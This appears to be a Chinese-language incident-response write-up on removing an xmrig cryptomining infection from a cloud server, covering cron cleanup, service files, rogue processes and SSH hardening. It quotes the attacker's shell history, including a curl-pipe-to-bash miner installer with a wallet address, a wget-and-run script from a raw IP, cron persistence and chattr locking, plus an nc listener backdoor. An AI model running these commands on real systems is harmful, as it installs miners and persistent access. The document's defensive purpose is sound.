1. 背景
在进行系统监控时,发现 top 命令显示 xmrig 进程占用所有CPU资源,表明服务器可能感染了挖矿病毒。通过查询历史命令 thistory,可以追踪到挖矿病毒的执行步骤,具体如下:
text
962 cd /root
963 ls
964 curl -s -L https://download.c3pool.org/xmrig_setup/raw/master/setup_c3pool_miner.sh | LC_ALL=en_US.UTF-8 bash -s 48gR5QM9UUxBZgiv7jzJnAXFUbqQjjstdbL5AME95fe53YTEphRLPcZHZkHY5kLYTd2o8cojBttbz9gz3vJDYA7DNR3HbcH
965 ps -ef|grep xmr
966 crontab
967 crontab -l
968 cd /usr/bin
969 ls
970 wget http://47.92.70.112:6640/download.sh
971 ls
972 chmod +x download.sh
973 chattr download.sh
974 ./download.sh
975 (crontab -l 2>/dev/null; echo "0 /usr/bin/download.sh") | crontab -
976 crontab -l
977 (crontab -l 2>/dev/null; echo "0 /usr/bin/download.sh > /dev/null 2>&1") | crontab -
978 crontab -l
979 cd /etc
980 ls
981 cd crontab
982 ls
983 cd /var
984 ls
985 cd spool
986 ls
987 cd cron
988 ls
989 cd root
990 ls
991 cat root
992 ls
993 chattr +ia root
994 ls
2. 处理方案
处理挖矿病毒需要从以下四个维度进行系统清理和安全加固:
1)定时任务
检查并清理异常定时任务:
使用命令查看当前定时任务:
bash
crontab -e
删除可疑的定时任务,并修复权限以确保正常保存:
bash
sudo chown root:root /var/spool/cron/root
sudo chmod 600 /var/spool/cron/root
2)病毒源文件
根据进程文件 xmrig 查找病毒源文件:
使用以下命令查找与挖矿相关的文件:
bash
grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/*
查看服务文件并删除源文件:
bash
cat /etc/systemd/system/c3pool_miner.service
如果删除失败,使用以下命令去掉只读属性:
bash
chattr -ai /path/to/file
3)sh进程
查找所有 sh 进程并识别异常进程:
使用命令列出所有 sh 进程:
bash
ps -ef | grep sh
root 1110 1 0 12:46 ? 00:00:00 /usr/sbin/sshd -D 这是ssh服务的监听进程
root 10022 1110 0 12:52 ? 00:00:00 sshd: root@pts/1 这是有root用户通过ssh终端登录进程
root 10031 10022 0 12:52 pts/1 00:00:00 -bash 这是 root的用户会话
通过进程树查看当前 root 用户的子进程:
bash
ps -ef --forest | grep sshd
使用 lsof 命令查看打开的文件和网络连接:
bash
lsof -p <PID>
杀掉异常进程,优先处理后门进程和监控进程:
bash
pkill -f 'nc -vlp 6666'
pkill -f 'python'
pkill -f '/usr/bin/download.sh'
查找与 hackxf 用户相关的进程并终止:
bash
ps -u hackxf
4)SSH 登录安全
- 修改 SSH 端口,更改 root 密码,移除所有root 密钥。
vi /etc/ssh/sshd_config
passwd
清空密钥:
> /root/.ssh/authorized_keys
重启 ssh服务:systemctl restart sshd
2 删除异常用户:
bash
sudo sed -i '/^hacker:/d' /etc/shadow #删除当前行
sudo sed -i '/^hacker:/d' /etc/passwd #删除当前行
sudo sed -i '/hacker:!!:19805/,$d' /etc/shadow #删除当前行及以下所有行
上述删除失败,设置权限:
bash
sudo chmod 640 /etc/shadow
sudo chmod 640 /etc/passwd
限制 SSH 登录白名单 IP,确保只有授权 IP 可以访问。
通过以上步骤,可以有效清除阿里云服务器中的挖矿病毒,并加强系统的安全性,防止未来的攻击。